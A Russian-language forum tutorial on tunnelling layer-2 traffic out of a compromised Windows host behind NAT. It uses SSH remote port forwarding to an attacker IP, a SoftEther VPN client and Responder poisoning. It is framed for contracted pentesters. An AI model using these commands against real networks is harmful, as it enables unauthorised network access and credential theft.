Статья Witchhammer VIP: Обход NAT при пивотинге против Windows

  • Автор темы Автор темы ADMIN
  • Дата начала Дата начала

ADMIN

Administrator
ADMIN
Регистрация
18 Окт 1989
Сообщения
1,408
Реакции
93
Баллы
48
☑ ДЕПОЗИТ
0$

Witchhammer VIP: Обход NAT при пивотинге против Windows​

64ebc0ef-655c-4805-ae3d-06430aed8c52.png

NAT может создать проблемы для пентестера, когда он проводит пивотинг, особенно если мы говорим о скромпрометированных машинах на Windows. В этой статье я продолжу демонстрировать концепцию L2-туннелирования против скомпрометированных машин на Windows, но уже учитывая наличие NAT.

Disclaimer​

Статья носит ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование по контракту. Автор и редакция не несут ответственности за любой вред, причиненный использованием представленной информации. Распространение вредоносного ПО, нарушение работы систем и тайны переписки будет преследоваться по закону.

Intro
В контексте сценариев тестирования на проникновение может случиться так, что пентестер смог скомпрометировать некоторый хост на Windows, однако сам хост находится за NAT. И при этом у пентестера появляется потребность в проведении атак канального уровня, для проведения которых необходим L2-туннель. Однако в условиях где хост находится за NAT задача создания такого туннеля становится сложнее, однако эта ситуация имеет несколько вариантов решения.

Это вторая часть моей статьи Witchhammer, в которой я продемонстрировал метод L2-туннелирования против машин на Windows с целью проведения атак канального уровня. В этой же VIP-версии речь пойдет о том же самом, однако я разберу сценарий, в котором скомпрометированный хост находится за NAT.

SSH Remote Port Forward​

Основная идея заключается в том, чтобы с помощью SSH Remote Port Forwarding пробросить порты TCP/443,TCP/992,TCP/5555в сторону системы атакующего, который в свою очередь будет использовать эти порты для подключения к SoftEther-серверу, находящемуся за NAT. Этот метод хорош тем, что SSH является легитимным ПО и не блокируется антивирусными программами. Однако есть и другие способы пробросить так порт, например с помощью chisel

По сути это сценарий, когда атакующий развивает вектор пост-эксплуатации из Интернета, получив доступ к скомпрометированному хосту. В контексте данного сценария я буду пробрасывать порты именно в сторону атакующей системы, однако существует практика, при которой пентестер подготавливает отдельный внешний SSH-сервер в сети Интернет, с помощью которого он и будет осуществлять подключения к SoftEther-серверу на скомпрометированном хосте. Разницы особой нет, однако вариант с внешним SSH-сервером является более удобным, если тестированием на проникновение занимается команда, участникам которой было бы удобно ходить через один SSH-сервер, вместо того чтобы каждый раз пробрасывать порт с скомпрометированной машины на каждый хост атакующего.

9beb20bc-5439-47d6-b46d-4a65e1e6b112.jpeg
9beb20bc-5439-47d6-b46d-4a65e1e6b112.jpeg

Scheme
В данном сценарии атакующий находится в Интернете, его хост имеет адрес 187.33.221.185, именно в его сторону будет проброс портов с помощью SSH. Предполагается что на скомпрометированном хосте уже активен SoftEther-сервер, настройку которого я полностью описал в первой версии Witchhammer

Перед пробросом портов необходимо настроить хост, на котором будет SSH-сервер (система атакующего или отдельный SSH-сервер), нужно просто разрешить параметры AllowTcpForwardingи GatewayPorts

/etc/ssh/sshd_config

AllowTcpForwarding yes
GatewayPorts yes
Затем с скомпрометированной машины с помощью sshнеобходимо пробросить порты TCP/443,TCP/992,TCP/5555в сторону атакующей машины в сети Интернет.

Локальные порты скомпрометированной машины:TCP/443,TCP/992,TCP/5555

Внешние порты для атакующей системы: TCP/4443,TCP/9992,TCP/5555

C:\witchhammer> ssh -R 4443:localhost:443 -R 9992:localhost:992 -R 5555:localhost:5555 [email protected]
После чего на атакующем хосте будут доступны порты для подключения к SoftEther-серверу за NAT

ac740f53-6ce8-47e6-a884-dc45bc8a2a21.png
ac740f53-6ce8-47e6-a884-dc45bc8a2a21.png

Ports
Именно эти порты атакующий и будет использовать для дальнейшего подключения к SoftEther-серверу и создания L2-туннеля

Tunneling​

После манипуляций с пробросом портов, атакующий может воспроизвести подключение к SoftEther-серверу

caster@kali:~$ sudo apt install build-essential
caster@kali:~$ wget https://www.softether-download.com/...3-9799-beta-2023.08.31-linux-x64-64bit.tar.gz
caster@kali:~$ gunzip softether-vpnclient-v4.43-9799-beta-2023.08.31-linux-x64-64bit.tar.gz
caster@kali:~$ tar xf softether-vpnclient-v4.43-9799-beta-2023.08.31-linux-x64-64bit.tar
caster@kali:~$ cd vpnclient
caster@kali:~/vpnclient$ make
caster@kali:~/vpnclient$ sudo ./vpnclient start
caster@kali:~/vpnclient$ sudo ./vpncmd
Все те же настройки, создание виртуального адаптера, указание адреса сервера и пароля учетной записи. Однако в данном случае в качестве сервера мы будем использовать 127.0.0.1:4443, так как мы пробросили порт TCP/443 с скомпрометированной машины на Windows в сторону хоста атакующего

VPN Client> NicCreate caster
VPN Client> AccountCreate Tunnel /SERVER:127.0.0.1:4443 /HUB:Witchhammer /USERNAME:caster /NICNAME:caster
VPN Client> AccountPassword Tunnel /PASSWORD:password /TYPE:standard
VPN Client> AccountConnect Tunnel
4cbc0493-a71a-4fb2-bea4-d584dde95834.png
4cbc0493-a71a-4fb2-bea4-d584dde95834.png

Состояние подключения со стороны хоста атакующего (SoftEther Client)
После чего атакующий получает доступ к целевой сети на уровне L2, где находится сам скомпрометированный хост. Так как у него появился виртуальный интерфейс vpn_caster,он должен получить на него адрес для работы с целевой сетью на канального уровне

caster@kali:~$ sudo dhclient -v vpn_caster
Однако стоит помнить, что новая информация о шлюзе по умолчанию может прилететь через DHCP, и новый маршрут 0.0.0.0 может повлиять на сетевую связность в системе атакующего. Поэтому, если такой маршрут появится, его следует удалить.

caster@kali:~$ sudo route del default
В случае с моим сценарием, целевая сеть имеет адресацию 192.168.0.0/24, а на виртуальный интерфейс прилетел адрес 192.168.0.251/24

Proof of Concept​

Фактически мы получаем возможность проведения атак канального уровня прямо из сети Интернет, благодаря построенному EtherIP-туннелю. Для доказательства работоспособности данного вектора я запущу Responder внутри этого туннеля

576241fc-72ad-4bdf-8570-4a73f9449cf3.png
576241fc-72ad-4bdf-8570-4a73f9449cf3.png

LLMNR/NBT-NS Poisoning (Responder)
c1bc5078-244d-42de-ad40-92c6e546c0a3.png
c1bc5078-244d-42de-ad40-92c6e546c0a3.png

ARP Scanning (netdiscover)

Outro​

Примерно таким образом можно строить L2-туннели со скомпрометированной машиной Windows для проведения атак канального уровня, даже не смотря на то, что сам скомпрометированный хост находился за NAT.

На самом деле методы пивотинга с SoftEther достаточно шумные в эфире, множество DNS-запросов, keepalive-сообщений. Если использовать данный метод для мероприятий Red Team, то операторам придется позаботиться о снижении шума в эфире.
 
Защита от мошенничества: Использование посредника минимизирует риски столкнуться с «продавцами-однодневками» или недобросовестными заказчиками, которые исчезают после получения предоплаты или результата работы.
Назад
Сверху